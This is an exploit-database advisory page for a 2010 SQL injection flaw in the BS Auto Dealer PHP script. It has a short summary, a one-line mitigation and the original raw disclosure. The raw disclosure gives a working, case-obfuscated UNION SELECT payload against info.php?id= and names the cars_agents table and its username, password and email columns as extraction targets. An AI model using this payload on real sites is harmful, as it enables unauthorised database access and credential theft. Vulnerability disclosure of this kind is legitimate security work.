Auto Dealer - exploit.company

vendor:

BS Auto Dealer

by:

Easy Laster

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: BS Auto Dealer

Affected Version From: BS Auto Dealer

Affected Version To: BS Auto Dealer

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Auto Dealer <= SQL Injection Vulnerability Proof of Concept

A SQL injection vulnerability was discovered in the BS Auto Dealer script, which allows an attacker to execute arbitrary SQL commands on the underlying database. The vulnerability exists in the info.php page, which is vulnerable to a UNION-based SQL injection attack. The attack can be used to extract data from the cars_agents table, including the LastName, FirstName, password, username, AgentID, and email fields.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in an SQL query.

Source

Exploit-DB raw data:

----------------------------Information------------------------------------------------
+Name : Auto Dealer <= SQL Injection Vulnerability Proof of Concept
+Autor : Easy Laster
+ICQ : 11-051-551
+Date   : 06.07.2010
+Script  : BS Auto Dealer
+Price : $24.95
+Language :PHP
+Discovered by Easy Laster 4004-security-project.com
+Security Group Undergroundagents and 4004-Security-Project 4004-security-project.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco.
   
---------------------------------------------------------------------------------------
                                                                                        
 ___ ___ ___ ___                         _ _           _____           _         _
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|         
   
   
----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/Auto_Dealer/info.php?id=
----------------------------------------------------------------------------------------
+Proof of Concept
+Table : cars_agents
+columns : LastName, FirstName, password, username ,AgentID ,email
+Proof of Concept : www.site.com/Auto_Dealer/info.php?id='/**/uNiOn+/**/SeLeCt+/**/1,2,
3,4,5,version(),7,8,9,10,11,12,13,14,15,16--+
----------------------------------------------------------------------------------------